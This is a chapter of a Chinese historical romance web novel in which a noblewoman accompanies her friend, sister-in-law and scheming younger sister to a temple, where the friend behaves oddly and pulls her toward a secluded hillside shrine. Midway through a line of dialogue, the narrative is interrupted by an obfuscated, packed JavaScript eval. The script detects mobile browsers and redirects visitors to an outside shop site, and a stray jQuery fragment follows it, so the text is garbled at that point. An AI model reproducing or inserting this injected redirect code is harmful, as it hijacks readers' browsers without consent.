两日后。
一大早,殷家的马车就到了。
车门从内推开,殷瑞珠探出半个身子和南絮打招呼。
南絮正想说话却被殷瑞珠的打扮给惊着了。
只见她粉面朱唇,嫣然含笑,身穿罗裙,青丝挽髻,头上那支水头上好的碧玉钗,前些年还被她随手扔在不起眼的妆奁匣子里,今日竟然戴在了头上!
“你这是…转性了?”
除了她出嫁那日,瑞珠往日出门哪回不是女扮男装,从来不顾世俗的眼光,家里好友纷纷相劝,都没劝过来;更是气得门生无数的殷伯父差点给她跪下,如今这般打扮倒是稀奇的很。
看好友仿佛被自己吓住了,殷瑞珠低头看了眼自己的装扮,又生疏地抚了抚自己的发髻,很是自豪地朝着南絮挑眉,“怎么样,不错吧!这可是堂姐亲手帮我梳妆打扮的,别说你了,今早父亲和母亲看见都吓了一跳,以为我中邪了呢!”
堂姐?大嫂也来了?
果不其然,殷瑞珠背后探出颗头来,“阿絮,早啊。”
话音刚落,又冒出颗毛茸茸的小萝卜头,只见小萝卜头朝南絮伸出胖嘟嘟的胳膊,奶声奶气道:“姑姑,抱抱。”
这母子俩不是大嫂殷芜和耀哥儿还能是谁。
南絮抱过耀哥儿狠狠香了口,正想打趣大嫂今日怎么有空陪她们去上香,马车内又传来声熟悉的“二姐”。
南韵那张脸从殷芜背后挤了出来,摇地满头珠翠乱晃,要不是南絮护着耀哥儿避开,险些甩到耀哥儿脸上。
殷芜把心提到了嗓子眼,见她还想往外蹿,赶紧拉住,“三妹妹,别忘了出门前母亲的吩咐!”
提到侯夫人,南韵果然不敢太放肆,只不甘心地抽回手臂,暗自白了眼殷芜,“大嫂也太苛刻了,我不过看见了伯爷,想过去打个招呼而已。都是一家人,没得说咱们候府出来的姑娘不知礼数。”
难怪刚才她在马车前站了那么久,都没见喊她,原是看见了段文裴。
南絮低头哄着耀哥儿,脸上满是讥讽。
她这个妹妹还没死心呢!
殷芜听南韵如此说,这才注意到伯府套了辆大点的马车。
她和殷瑞珠对视一眼,抬手抱回耀哥儿时,低声询问南絮,“伯爷也去?”
南絮嗯了声,宽解道:“他非要去,我也没办法,左不过咱们拜咱们的,别管他就是。”
殷芜露出个意味深长的笑,用胳膊肘撞了撞殷瑞珠,“我就说咱们阿絮厉害吧!”
南絮微愣,转瞬明白过来,只得故作娇羞,扬拳锤了两下殷芜,是以并未看到殷瑞珠短暂的失神。
那头,刘回过来催南絮起程。
正要过去,殷芜却拉住了她,用只有两人听得到的声音道:“瑞珠给大伯母祈福,我想着顺路也给耀哥儿求个平安符。里面那个不知从哪听说了,死皮赖脸地求到母亲面前,非要跟来。”她眼神示意坐在马车最里面的南韵,继续道:“母亲本不允,她又求到父亲跟前,母亲无法,便让我看着她些。我带着耀哥儿,哪里能看得住她,她素来不敢惹瑞珠,只有委屈她,和咱们坐一辆马车了。”
南絮朝里瞧了眼。
难怪,刚才她还诧异呢,马车虽不小,但三个人坐在一起难免拘束。
如此倒是接解了她的疑惑。
反常必有妖!
南絮知道这是大嫂在提醒她。
佛家圣地,她料南韵做不出什么出格的事来,只是人心难测,不得不防。
姑嫂二人会心一笑,南絮让殷芜放心,她知道了。
*
因着不是什么大日子,去大佛寺上香的人并不多。
住持听说来得不仅有永安候府和殷家,还有魏阳伯,忙匆匆结束早课,带着几个僧侣在大佛寺门口亲迎。
知道她们的来意后,住持忙让两个沙弥带着南絮一众女眷去佛堂,自己则亲自引路带着段文裴去后面厢房歇息。
住持的谄媚,段文裴习以为常,留下几个侍卫护卫南絮的安全,便随着住持去了。
殷瑞珠挽着南絮的胳膊,偷偷朝住持扮了个鬼脸。
“旁的人也罢,这大和尚不好好参悟佛法,尽学了世人攀附权贵的劲,真是六根不净!”
佛门之地不犯口舌,不过殷瑞珠离经叛道惯了,南絮听见也当没听见,倒是南韵依依不舍地看着段文裴离去的身影,小声嘀咕,“你懂什么?住持也是人,是人就该有七情六欲
。”
南絮侧头看了她一眼,她倒是第一次知道自己这个三妹还有这样的诡思。
佛堂建在大佛寺的最高处,攀上九十一级台阶,穿过烟气蒸腾的燃香台,走进佛堂,正对上满目慈悲的佛祖。
有专事拜佛的沙弥递香过来,南絮和殷瑞珠接过,虔诚地走到佛祖面前,摩顶礼拜。
南絮其实并不十分信佛。
倒不是对佛祖是否真实存在生疑,她只是觉得,人在做天在看,只要结善因,佛祖自然能看见并赐予善果。
而跪在这佛堂中,骨肉皮囊看着虔诚而已,里面那颗心到底是黑是白,天知地知,佛祖也知,只有世人看不清楚罢了。
三跪三叩已毕,她二人起身把香插进正前方案桌上的香炉内,沙弥引着她二人到旁边摇签。
这摇签多是为着迎合城中女眷求姻缘,南絮已婚配,自不必再求,只陪着殷瑞珠去摇那签筒。
殷芜领着耀哥儿也上了柱香,见殷瑞珠摇地起兴,暗道太阳打西边出来了,笑着让南絮陪她好好摇出个金玉良缘来,自己则带着耀哥儿去偏殿求平安符。
她本想喊上南韵,却见她也接了柱香,折身跪在佛祖面前,竟是长跪不起。
殷芜沉下脸看了半晌,并未叫她,只吩咐丫鬟们看着她,别叫她乱跑。
她既有所求,她又何必阻拦。
与其扬汤止沸,不如釜底抽薪。
倒叫她知道,世间之事,不是求求佛祖就能如愿的。
*
殷瑞珠摇了半天,摇出个带桃花的上上签。
南絮正欲细看签文,殷瑞珠却是余光瞥了眼,不知看见了什么,高兴地惊呼出声。
“快给我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477693|141945||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瞧瞧,让我解解,是不是得了个如意郎君?”
殷家虽是书香世家,但殷瑞珠胸中有几点墨,南絮却是一清二楚。有时候这些寺庙为了附庸风雅,非要七拐八绕似是而非地写个难懂的签文,名义让人解签,不过是为了多收些解签费。
而要解签,这前山大殿内没有解签师傅,只得绕路去后山的姻缘庙,那后山幽静,官员灭门凶手还未被抓,南絮还是觉得不去为妙。”
若是寻常,殷瑞珠早就迫不及待地把签文给南絮看了,现下却是两颊泛起红晕,迟疑地把签子揽在胸口处。
“阿絮,要不…咱们还是去后山解签吧。”
南絮看着她,只觉十分古怪,“瑞珠…”
“阿絮!”殷瑞珠满含期待地看着她,甚至带了点祈求,“你就陪我去吧。”她扯着她的袖口,竟是朝着她撒娇,“我知道你聪明,又识文断字,可这是我的姻缘签,只有在佛祖的注视下让解签的师傅解了,才算圆满的,好阿絮,你总得为我的终身大事考虑考虑吧。”
不对劲!
南絮抖落满身的鸡皮疙瘩,蹙眉看着她。
这样的殷瑞珠真的很不对劲!
她伸手想触摸殷瑞珠的额头,却被她偏头躲过,反被她半拖半抱着往后山去。
“好阿絮,你就陪我这一回,以后你让我干什么我都听你的!”
她女扮男装,常出入京都玩耍之地,早就练就一身不输寻常男儿的力气,南絮哪里扭地过她,只得半推半就跟着她去后山。
玉茗玉祥带着人紧随其后,段文裴给的侍卫,除了分了个给殷芜,其余人都跟了上去。
不知为何,南絮看着他们,只觉也没那么担心了。
余光瞟向佛祖面前的蒲团,南絮隐约看见南韵逶迤在地的衣角,心中虽奇怪南韵为何跪了这么久,想到大嫂说她非要跟来,想必确实有什么大愿望,遂也懒得管她,只吩咐留下两个人看顾着些。
出了大殿,越往后山走越僻静,树木横生,竹林簇簇,没走多久,南絮便觉浑身泛凉。
“瑞珠。”她想让殷瑞珠歇歇,让仆妇们去拿两件披风来,却只看见她不知是兴奋还是紧张的侧脸。
南絮心里咯噔一下,凉意从后背直蹿脑门。
她悄悄朝玉茗打了个手势,玉茗瞧见,不动声色地落后了半步。
穿过竹林,踏上布满青苔的石肠小道,姻缘庙近在眼前。
殷瑞珠松开南絮的手,直奔庙里去。
如今不是礼佛的时间,来求姻缘的人也是寥寥无几,庙前零落满地花草,竟是无人打扫。
穿过庙门,往里去,只有一间正殿,两间偏殿。
南絮大概扫视了遍,除了守门的小沙弥和解签的师傅,这姻缘庙里并无其他人。
想是没什么人来,解签的师傅倚着椅背打盹,殷瑞珠上前唤了两声,这人才悠悠转醒,瞧了眼她手里的签子,懒散地摆弄起自己“吃饭”的家伙。
“因起缘起,因落缘落,乾坤之内,姻缘天定。”
“我只给求签人解签,旁的人请殿外等候。”